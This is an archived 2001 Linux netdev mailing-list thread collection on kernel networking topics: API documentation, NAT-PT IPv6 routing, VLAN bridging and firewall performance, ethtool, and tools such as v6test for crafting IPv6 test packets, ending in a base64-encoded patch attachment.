aaitlol.conscoop.ottawa.on.ca (8.11.0/8.8.8) id f4A70CV03429; Thu, 10 May 2001 03:00:12 -0400 Date: Thu, 10 May 2001 03:00:12 -0400 From: Richard Guy Briggs To: Linux Ipsec mailing list , netdev@oss.sgi.com Subject: good API example docs on-line Message-ID: <20010510030012.A1421@aaitlol.conscoop.ottawa.on.ca> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="nFreZHaLTZJo0R7j" Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-netdev@oss.sgi.com Precedence: bulk --nFreZHaLTZJo0R7j Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi all, I'm looking for good API example docs. I'm struggling with the KLIPS2 design doc set and in particular, am having trouble nailing down the various bits of API to make the design concise, clear and complete. It would have the entities being connected or interface name, a function call name, all parameters used, a description of each parameter, a description of the function, what globals affect its behaviour and its return values. Can anyone think of any decent on-line API documents that are clear, consise and complete for any project? slainte mhath, RGB --=20 Richard Guy Briggs -- PGP key available Auto-Free Ottawa! Canada Prevent Internet Wiretapping! -- FreeS/WAN: Thanks for voting Green! -- Marillion: --nFreZHaLTZJo0R7j Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: 2.6.3i iQCVAwUBOvo8fN+sBuIhFagtAQGv/wQAh6uG2By/NTnMQi/qndAXuwDRRaU4zbPh SGJK7FmwFNXADVY3vO1oMTOpdto+NNcZeHK/unSGDYPcL5iSICo0ZogD1Tb4Xp3r 3l06mJcO1Bd7tcletvJ8m1+2Y/BCztbISmjEXVFx8meFdfsDp0Jo7o59P//v9lzd V4kP5Lu9v+o= =ioOM -----END PGP SIGNATURE----- --nFreZHaLTZJo0R7j-- From owner-netdev@oss.sgi.com Thu May 10 04:38:29 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4ABcT531479 for netdev-outgoing; Thu, 10 May 2001 04:38:29 -0700 Received: from colin.muc.de (root@colin.muc.de [193.149.48.1]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4ABcSF31475 for ; Thu, 10 May 2001 04:38:28 -0700 Received: by colin.muc.de id <140661-2>; Thu, 10 May 2001 13:38:27 +0200 Message-ID: <20010510133825.38305@colin.muc.de> Date: Thu, 10 May 2001 13:38:25 +0200 From: Andi Kleen To: Richard Guy Briggs Cc: Linux Ipsec mailing list , netdev@oss.sgi.com Subject: Re: good API example docs on-line References: <20010510030012.A1421@aaitlol.conscoop.ottawa.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e In-Reply-To: <20010510030012.A1421@aaitlol.conscoop.ottawa.on.ca>; from Richard Guy Briggs on Thu, May 10, 2001 at 09:00:12AM +0200 Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, May 10, 2001 at 09:00:12AM +0200, Richard Guy Briggs wrote: > Hi all, > > I'm looking for good API example docs. > > I'm struggling with the KLIPS2 design doc set and in particular, am > having trouble nailing down the various bits of API to make the design > concise, clear and complete. It would have the entities being > connected or interface name, a function call name, all parameters used, > a description of each parameter, a description of the function, what > globals affect its behaviour and its return values. > > Can anyone think of any decent on-line API documents that are clear, > consise and complete for any project? You could e.g. use the existing kernel infrastructure for function documentation. See Documentation/DocBook/* -Andi From owner-netdev@oss.sgi.com Thu May 10 10:26:55 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4AHQtb07126 for netdev-outgoing; Thu, 10 May 2001 10:26:55 -0700 Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4AHQqF07121 for ; Thu, 10 May 2001 10:26:53 -0700 Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f4AHQrU25054 for ; Thu, 10 May 2001 10:26:53 -0700 (PDT) Received: from RSAMPRAT-W2K.cisco.com (dhcp-171-71-97-13.cisco.com [171.71.97.13]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AFO19085; Thu, 10 May 2001 10:26:45 -0700 (PDT) Message-Id: <4.3.2.7.2.20010510101741.02094e78@mira-sjc5-7.cisco.com> X-Sender: rsamprat@mira-sjc5-7.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 10 May 2001 10:18:34 -0700 To: netdev@oss.sgi.com From: Ravikanth Samprathi Subject: problem with nat-pt - linux Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi I have the following problem with nat-pt in linux. SETUP:- ------------- I have 2 hosts h1 and h2 both linux-2.4.0. h1 is ipv6. h2 is ipv4 and ipv6 dual stack. in h1, eth0 is ipv6 (fec0::2/96). in h2, eth1 is ipv6 (fec0::1/96) and eth2 is ipv4 (10.0.0.1/16). SOFTWARE:- --------------------- i am running nat-pt in h2. (http://www.ipv6.or.kr/english/linux-usermode-natpt-install.txt) The prefix i am using is fec0:0:0:0:0:ffff. I added a static route in routing table of h1 route -A inet6 add fec0:0:0:0:0:ffff:10.0.0.1/96 dev eth0 PROBLEM:- ------------------ I am not able to talk (ping6) with eth2-of-h2 from eth0-of-h1. Ping6 from h1:- ping6 fec0:0:0:0:0:ffff:10.0.0.1 OUTPUT:- --------------- This is the output of ping6 at h1:- PING fec0:0:0:0:0:ffff:10.0.0.1(fec0:0:0:0:0:ffff:a00:1) 56 bytes From ::1: Destination unreachable: Address unreachable From ::1: Destination unreachable: Address unreachable From ::1: Destination unreachable: Address unreachableFrom ::1: Destination unreachable: Address unreachableFrom ::1: Destination unreachable: Address unreachable This is the output of tcpdump from eth1 of h2:- 08:43:35:273492 fec0::2 > ff02::1:ff00:1: icmp6: neighbor sol: who has fec0::ffff:a00:1 08:43:35:273492 fec0::2 > ff02::1:ff00:1: icmp6: neighbor sol: who has fec0::ffff:a00:1 08:43:35:273492 fec0::2 > ff02::1:ff00:1: icmp6: neighbor sol: who has fec0::ffff:a00:1 08:43:35:273492 fec0::2 > ff02::1:ff00:1: icmp6: neighbor sol: who has fec0::ffff:a00:1 08:43:35:273492 fec0::2 > ff02::1:ff00:1: icmp6: neighbor sol: who has fec0::ffff:a00:1 QUESTIONS:- -------------------- Can somebody help me with configuration of nat-pt please??? Is the prefix i am using wrong?? Is the way i ping6 wrong? Is the way i am adding static route in h1 wrong? What is going wrong? I would greatly appreciate the help. Thanx, ravi ---------------------------------------------------> Ravi Samprathi work:(408)853-8038 Cisco Systems res :(408)988-2268 Empowering the Internet Generation <--------------------------------------------------- From owner-netdev@oss.sgi.com Thu May 10 10:50:31 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4AHoVc08156 for netdev-outgoing; Thu, 10 May 2001 10:50:31 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4AHoTF08150 for ; Thu, 10 May 2001 10:50:29 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4AHoH713321; Thu, 10 May 2001 20:50:17 +0300 Date: Thu, 10 May 2001 20:50:17 +0300 (EEST) From: Pekka Savola To: Ravikanth Samprathi cc: Subject: Re: problem with nat-pt - linux In-Reply-To: <4.3.2.7.2.20010510101741.02094e78@mira-sjc5-7.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, 10 May 2001, Ravikanth Samprathi wrote: > SETUP:- > ------------- > I have 2 hosts h1 and h2 both linux-2.4.0. > h1 is ipv6. > h2 is ipv4 and ipv6 dual stack. > in h1, eth0 is ipv6 (fec0::2/96). > in h2, eth1 is ipv6 (fec0::1/96) and eth2 is ipv4 (10.0.0.1/16). > [snip] > I added a static route in routing table of h1 > route -A inet6 add fec0:0:0:0:0:ffff:10.0.0.1/96 dev eth0 > > PROBLEM:- > ------------------ > I am not able to talk (ping6) with eth2-of-h2 from eth0-of-h1. > Ping6 from h1:- > ping6 fec0:0:0:0:0:ffff:10.0.0.1 > > OUTPUT:- > --------------- > This is the output of ping6 at h1:- > PING fec0:0:0:0:0:ffff:10.0.0.1(fec0:0:0:0:0:ffff:a00:1) 56 bytes > From ::1: Destination unreachable: Address unreachable [snip] > > This is the output of tcpdump from eth1 of h2:- > 08:43:35:273492 fec0::2 > ff02::1:ff00:1: icmp6: neighbor sol: > who has fec0::ffff:a00:1 [snip] It would appear to me that your route or h2 configuration is wrong; you're telling h1 that fec0:0:0:0:0:ffff::/96 is on-link, even though the address you're trying to ping belongs to the other interface on the dual-stack host. This causes neighbor solicitations fail. If you change the route so that the address you're trying to ping is directed to be sent to fec0::1/96, the dual-stack host interface address, this should work fine. Never used NAT-PT on Linux though, so if this is the expected configuration, can't help.. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Thu May 10 22:48:20 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4B5mKW26560 for netdev-outgoing; Thu, 10 May 2001 22:48:20 -0700 Received: from localhost.localdomain (cpu2747.adsl.bellglobal.com [207.236.55.216]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4B5mJF26557 for ; Thu, 10 May 2001 22:48:19 -0700 Received: (from rgb@localhost) by localhost.localdomain (8.12.0.Beta5/8.11.1) id f4B5rXMY026801; Fri, 11 May 2001 01:53:33 -0400 Date: Fri, 11 May 2001 01:53:33 -0400 From: Richard Guy Briggs To: Andi Kleen Cc: Richard Guy Briggs , Linux Ipsec mailing list , netdev@oss.sgi.com Subject: Re: good API example docs on-line Message-ID: <20010511015333.A25486@grendel.conscoop.ottawa.on.ca> References: <20010510030012.A1421@aaitlol.conscoop.ottawa.on.ca> <20010510133825.38305@colin.muc.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20010510133825.38305@colin.muc.de>; from ak@muc.de on Thu, May 10, 2001 at 01:38:25PM +0200 Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, May 10, 2001 at 01:38:25PM +0200, Andi Kleen wrote: > On Thu, May 10, 2001 at 09:00:12AM +0200, Richard Guy Briggs wrote: > > Hi all, > > > > I'm looking for good API example docs. > > > > I'm struggling with the KLIPS2 design doc set and in particular, am > > having trouble nailing down the various bits of API to make the design > > concise, clear and complete. It would have the entities being > > connected or interface name, a function call name, all parameters used, > > a description of each parameter, a description of the function, what > > globals affect its behaviour and its return values. > > > > Can anyone think of any decent on-line API documents that are clear, > > consise and complete for any project? > > You could e.g. use the existing kernel infrastructure for function > documentation. See Documentation/DocBook/* Thanks, there were several good examples. It would be good to convert all this doc to DocBook that could be used/included in a similar way. Mike Shaver pointed me at the OpenGL spec as an example... whew, it is 278 pages... > -Andi slainte mhath, RGB -- Richard Guy Briggs -- PGP key available Auto-Free Ottawa! Canada Prevent Internet Wiretapping! -- FreeS/WAN: Thanks for voting Green! -- Marillion: From owner-netdev@oss.sgi.com Fri May 11 11:46:58 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4BIkwC13392 for netdev-outgoing; Fri, 11 May 2001 11:46:58 -0700 Received: from pr0n.newhackcity.net (IDENT:gzoqkc5s@pr0n.newhackcity.net [216.254.1.99]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4BIkvF13389 for ; Fri, 11 May 2001 11:46:57 -0700 Received: (qmail 1233 invoked by uid 2022); 11 May 2001 18:57:57 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 11 May 2001 18:57:57 -0000 Date: Fri, 11 May 2001 11:57:57 -0700 (PDT) From: optyx To: netdev@oss.sgi.com Subject: ip stack programming question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk I'm trying to write a module that takes all the packets in via hooking ip_rcv() and send a packet out to another host with the size and other statistics about that packet. the problem: when I call sock_sendmsg inside the ip_rcv() loop I get kernel panic. I've tried scheduling another task to call sock_sendmsg, same results, I've tried cloning and modifying the sk_buff passed into ip_rcv() and sending it out, same results. is there a global lock in both 2.2 and 2.4 that I can poll on until I can call sock_sendmsg? Any help? -optyx From owner-netdev@oss.sgi.com Fri May 11 11:51:27 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4BIpRO13621 for netdev-outgoing; Fri, 11 May 2001 11:51:27 -0700 Received: from mtl-vipswitch-01 ([154.11.70.101]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4BIpQF13617 for ; Fri, 11 May 2001 11:51:26 -0700 Received: from localhost (sdalton@localhost) by gemini.vip.ca (8.11.2/8.11.2) with ESMTP id f4BImbK05227 for ; Fri, 11 May 2001 14:48:37 -0400 X-Authentication-Warning: gemini.vip.ca: sdalton owned process doing -bs Date: Fri, 11 May 2001 14:48:37 -0400 (EDT) From: Stephane Dalton X-X-Sender: To: Subject: device shut down question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, I was looking at the acenic driver in the 2.4.3 kernel release I've seen this comment: *... The case to be aware of is when shutting down the device * and cleaning up where it is necessary to make sure that * start_xmit() is not running while this is happening. Well DaveM * informs me that this case is already protected against ... bye bye * Mr. Spin Lock, it was nice to know you. Can you give me a pointer in the code where this awareness mechanism is implemented, I've been working on an E3 driver a while ago and I had this same concern. Thanks From owner-netdev@oss.sgi.com Tue May 15 22:59:54 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4G5xsq30243 for netdev-outgoing; Tue, 15 May 2001 22:59:54 -0700 Received: from grok.yi.org (IDENT:root@cx97923-a.phnx3.az.home.com [24.9.112.194]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4G5xhF30236 for ; Tue, 15 May 2001 22:59:43 -0700 Received: from candelatech.com (IDENT:greear@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.0/8.11.0) with ESMTP id f4G6DUr12463; Tue, 15 May 2001 23:13:30 -0700 Message-ID: <3B021A8A.624B6AD@candelatech.com> Date: Tue, 15 May 2001 23:13:30 -0700 From: Ben Greear Organization: Candela Technologies X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-14 i686) X-Accept-Language: en MIME-Version: 1.0 To: VLAN Mailing List , "netdev@oss.sgi.com" Subject: Question on bridging with VLANs, traffic-shaping, and firewalling.. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 1178 Lines: 29 Well, I finally found an application that might be able to take advantage of bridging 802.1Q VLANs. Specifically, I'm thinking about creating many bridge groups, with some number of VLANs in each group. Traffic should be bridged across the group normally, but should never be bridged *between* groups. Any idea how possible this is? If it can work currently for Ethernet, then I'm sure I can make it work with the VLAN code if it doesn't already.... Also, anyone know how/if I can do firewalling and/or traffic-shaping in conjunction with bridging? The customer is 'untrusted', so I want to be able to firewall/protect the network ports against ARP-spoofing and serving DHCP responses (fun way to take down a cable modem network), for example... Finally, supposing I can get this working in some manner, am I foolish to think I can push 500+ Mbps of traffic, bi-directional, with a dual processor board and two 64bit PCI GigE interfaces? Many thanks, Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From owner-netdev@oss.sgi.com Wed May 16 10:51:40 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4GHpe313832 for netdev-outgoing; Wed, 16 May 2001 10:51:40 -0700 Received: from cti06.citenet.net (cti06.citenet.net [206.123.38.70]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4GHpdF13826 for ; Wed, 16 May 2001 10:51:39 -0700 Received: from remtk.solucorp.qc.ca (g39-238.citenet.net [206.123.39.238]) by cti06.citenet.net (8.9.3/8.9.1) with ESMTP id NAA26195; Wed, 16 May 2001 13:51:22 -0400 (EDT) Received: from localhost (jack@localhost) by remtk.solucorp.qc.ca (8.11.0/linuxconf) with ESMTP id f4GFsIW02893; Wed, 16 May 2001 11:54:18 -0400 Date: Wed, 16 May 2001 11:54:18 -0400 (EDT) From: Jacques Gelinas To: VLAN Mailing List cc: "netdev@oss.sgi.com" Subject: Re: [VLAN] Question on bridging with VLANs, traffic-shaping, and firewalling.. In-Reply-To: <3B021A8A.624B6AD@candelatech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 2051 Lines: 47 On Tue, 15 May 2001, Ben Greear wrote: > Finally, supposing I can get this working in some manner, am I > foolish to think I can push 500+ Mbps of traffic, bi-directional, > with a dual processor board and two 64bit PCI GigE interfaces? Somewhat related to your project... We have a project here using vlans to create "per-user" firewalling. Our rules are created using groups and user accounts and some hooks in samba provides the IP translation. To create the firewall between every servers and the users, we are using proxy arp. Each server is on "private" vlan and linux is on the 802.1q port. By using proxy-arp, we do not have to rework the IP network. The servers keep the same IP. The proxy-arp entries are generated from the firewall rules. We expect to end up with 10,000 to 20,000 ipchain rules most of the time (this moves as users log in and out). To check the performance, we have created a worst case scenerio. It was something like 256 users trying to access around 10 services on 10 differents servers and all the firewall rules to control that. We ended with 130,000 rules (Don't try "ipchains -L" on that). Then we clocked 300megabits/second. This was somewhat bias. This was using tcp session (so larger packet) and we tested this using 6 workstations. So cache was used optimally. Yet, the server was still responsive and seemed to do nothing. A PIII-700 with PC100 ram. Make sure you are using chains and dispatch rules. So the longuest sequence tested is below 100. Putting 2000 rules in a single chain kills the server. Note that such a PC has roughly 175megabytes/second memory bandwidth, so the 300megaBITs (2 x 300 in fact, since packet are getting in and out) are not so scary after all. Note that a PIII-800 with PC133 ram does about 300megabytes/second (memory bandwidth) and even better is available. So there seem to be good potential to rock! -- --------------------------------------------------------- Jacques Gelinas nt2linux: NT to Linux migration kit http://www.solucorp.qc.ca/ From owner-netdev@oss.sgi.com Fri May 18 12:59:21 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4IJxL604480 for netdev-outgoing; Fri, 18 May 2001 12:59:21 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4IJxIF04475 for ; Fri, 18 May 2001 12:59:19 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4IJxGv25051 for ; Fri, 18 May 2001 22:59:17 +0300 Date: Fri, 18 May 2001 22:59:16 +0300 (EEST) From: Pekka Savola To: Subject: Creating L2 frames / IPV6 packets from scratch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 941 Lines: 29 Hi, I was checking out v6test of KAME project which can be used to create arbitrary IPv6 packets beginning from Ethernet frames rather easily: http://orange.kame.net/dev/cvsweb.cgi/kame/kame/kame/v6test/ This would enable better testing for the handling of special IPv6 cases. The problem is that it creates the frames by opening /dev/bpf read-write and shoving data there directly. Linux equivalent of BPF can only be used for reading packets, not writing them. Libpcap is not of much help either. Raw sockets man page only mentions IPv4. Is there an easy facility for creating, and sending, L2 frames / IPv6 packets from scratch? (Btw, if you know of other utils to create arbitrary IPv6 packets easily, please let me know) -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Fri May 18 13:11:12 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4IKBCQ05169 for netdev-outgoing; Fri, 18 May 2001 13:11:12 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4IKBBF05166 for ; Fri, 18 May 2001 13:11:12 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id NAA17841; Fri, 18 May 2001 13:10:56 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15109.33232.521810.243060@pizda.ninka.net> Date: Fri, 18 May 2001 13:10:56 -0700 (PDT) To: Pekka Savola Cc: Subject: Re: Creating L2 frames / IPV6 packets from scratch In-Reply-To: References: X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 57 Lines: 6 Try AF_PACKET. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Fri May 18 13:29:39 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4IKTdw06105 for netdev-outgoing; Fri, 18 May 2001 13:29:39 -0700 Received: from exch-connector.netcomsystems.com (mushroom.netcomsystems.com [12.9.24.195]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4IKTcF06102 for ; Fri, 18 May 2001 13:29:38 -0700 Received: by exch-connector.netcomsystems.com with Internet Mail Service (5.5.2653.19) id ; Fri, 18 May 2001 13:29:32 -0700 Message-ID: <9384475DFC05D2118F9C00805F6F2631038B2D60@exchange1.netcomsystems.com> From: "Perches, Joe" To: "'Pekka Savola'" Cc: "'netdev@oss.sgi.com'" Subject: RE: Creating L2 frames / IPV6 packets from scratch Date: Fri, 18 May 2001 13:28:47 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 381 Lines: 10 We make hardware for that purpose. A software solution is: http://packages.debian.org/testing/net/sendip.html http://www.tlsecurity.net/unix/Assesement/PacketForging/sendip-1.4.tar.gz > Is there an easy facility for creating, and sending, L2 frames / IPv6 > packets from scratch? > (Btw, if you know of other utils to create arbitrary IPv6 > packets easily, please let me know) From owner-netdev@oss.sgi.com Sat May 19 03:10:04 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4JAA4G23539 for netdev-outgoing; Sat, 19 May 2001 03:10:04 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4JAA2F23536 for ; Sat, 19 May 2001 03:10:03 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4JA9w806669; Sat, 19 May 2001 13:09:58 +0300 Date: Sat, 19 May 2001 13:09:58 +0300 (EEST) From: Pekka Savola To: "Perches, Joe" cc: "'netdev@oss.sgi.com'" Subject: RE: Creating L2 frames / IPV6 packets from scratch In-Reply-To: <9384475DFC05D2118F9C00805F6F2631038B2D60@exchange1.netcomsystems.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 1477 Lines: 42 On Fri, 18 May 2001, Perches, Joe wrote: > We make hardware for that purpose. > A software solution is: > > http://packages.debian.org/testing/net/sendip.html > http://www.tlsecurity.net/unix/Assesement/PacketForging/sendip-1.4.tar.gz Thanks for the pointer; I didn't know this existed. The tool is not much good for IPv6 though: [root@ws-6gw sendip]# ./sendip ::1 Couldn't get destination host: gethostbyname2(): Success [root@ws-6gw sendip]# ./sendip ::1 -A inet6 Couldn't setsockopt IP_HDRINCL: Protocol not available (I'm certain this can be gotten to work, but didn't seem too encouraging) .. not to mention the terrible state of documentation (compare hidden code cases like '-A', usage() and the manpage). Also, this isn't able to formulate too specific IPv6/ICMPv6 packets; for example, it isn't possible to stack a few extension headers, or specify ICMP neighbour discovery parameters. Ie. might be good for basic testing if it worked ok. > > > Is there an easy facility for creating, and sending, L2 frames / IPv6 > > packets from scratch? > > (Btw, if you know of other utils to create arbitrary IPv6 > > packets easily, please let me know) As davem suggested, I ported v6test to use PF_PACKET. It's really dirty but would appear to work. We'll see. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Sat May 19 22:23:58 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4K5Nwg07406 for netdev-outgoing; Sat, 19 May 2001 22:23:58 -0700 Received: from havoc.gtf.org (IDENT:postfix@panic.ohr.gatech.edu [130.207.47.194]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4K5NvF07399 for ; Sat, 19 May 2001 22:23:58 -0700 Received: from mandrakesoft.com (adsl-20-73-169.asm.bellsouth.net [66.20.73.169]) by havoc.gtf.org (Postfix) with ESMTP id 4033D1F65; Sun, 20 May 2001 01:23:51 -0400 (EDT) Message-ID: <3B0754E2.6D2A6AFD@mandrakesoft.com> Date: Sun, 20 May 2001 01:23:46 -0400 From: Jeff Garzik Organization: MandrakeSoft X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.5-pre3 i686) X-Accept-Language: en MIME-Version: 1.0 To: Linux Kernel Mailing List , netdev@oss.sgi.com Subject: ethtool and pre4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 439 Lines: 12 pre4 is out, and a couple ethernet drivers have gained support for ethtool. In order to take advantage of the new support, you can download ethtool 1.2 from http://sf.net/projects/gkernel/ or check it out of CVS (instruction at the above URL). -- Jeff Garzik | "Do you have to make light of everything?!" Building 1024 | "I'm extremely serious about nailing your MandrakeSoft | step-daughter, but other than that, yes." From owner-netdev@oss.sgi.com Sun May 20 09:54:13 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4KGsD519036 for netdev-outgoing; Sun, 20 May 2001 09:54:13 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4KGsAF19033 for ; Sun, 20 May 2001 09:54:10 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4KGs8b30093 for ; Sun, 20 May 2001 19:54:08 +0300 Date: Sun, 20 May 2001 19:54:08 +0300 (EEST) From: Pekka Savola To: "'netdev@oss.sgi.com'" Subject: v6test patch [RE: Creating L2 frames / IPV6 packets from scratch] In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1589707168-1509106998-990377648=:30045" Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 10086 Lines: 178 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1589707168-1509106998-990377648=:30045 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 19 May 2001, Pekka Savola wrote: > > > Is there an easy facility for creating, and sending, L2 frames / IPv6 > > > packets from scratch? > > > (Btw, if you know of other utils to create arbitrary IPv6 > > > packets easily, please let me know) > > As davem suggested, I ported v6test to use PF_PACKET. It's really dirty > but would appear to work. We'll see. Ok, attached is a dirty hack to make v6test usable on Linux, too. v6test could be used to perform some testing on the correctness of IPv6 stack, for example. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords --1589707168-1509106998-990377648=:30045 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="v6test-linux-hack.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="v6test-linux-hack.diff" ZGlmZiAgLXggY29uZmlnLiogLXVOciB2NnRlc3Qub3JpZy9NYWtlZmlsZS5p biB2NnRlc3QvTWFrZWZpbGUuaW4NCi0tLSB2NnRlc3Qub3JpZy9jb25maWd1 cmUJV2VkIE9jdCAgNiAwNToxNzoyMCAxOTk5DQorKysgdjZ0ZXN0L2NvbmZp Z3VyZQlTdW4gTWF5IDIwIDExOjQ1OjIxIDIwMDENCkBAIC0xMjkwLDYgKzEz NjgsMTAgQEANCiAJZWxzZQ0KIAkJaWYgdGVzdCAtZCAkZGlyL2luY2x1ZGUg LWEgLWYgJGRpci9pbmNsdWRlL3BjYXAuaDsgdGhlbg0KIAkJCXBjYXBfaW5j bHVkZT0iJGRpci9pbmNsdWRlIg0KKwkJZWxzZQ0KKwkJCWlmIHRlc3QgLWQg JGRpci9pbmNsdWRlL3BjYXAgLWEgLWYgJGRpci9pbmNsdWRlL3BjYXAvcGNh cC5oOyB0aGVuDQorCQkJCXBjYXBfaW5jbHVkZT0iJGRpci9pbmNsdWRlL3Bj YXAiDQorCQkJZmkNCiAJCWZpDQogCWZpDQogCWlmIHRlc3QgIiRwY2FwX2xp YiIgIT0gIm5vIiAtYSAiJHBjYXBfaW5jbHVkZSIgIT0gIm5vIjsgdGhlbg0K ZGlmZiAgLXggY29uZmlnLiogLXVOciB2NnRlc3Qub3JpZy9jb25maWd1cmUu aW4gdjZ0ZXN0L2NvbmZpZ3VyZS5pbg0KLS0tIHY2dGVzdC5vcmlnL2NvbmZp Z3VyZS5pbglXZWQgT2N0ICA2IDA1OjE3OjIwIDE5OTkNCisrKyB2NnRlc3Qv Y29uZmlndXJlLmluCVN1biBNYXkgMjAgMTE6NDI6NTMgMjAwMQ0KQEAgLTEy 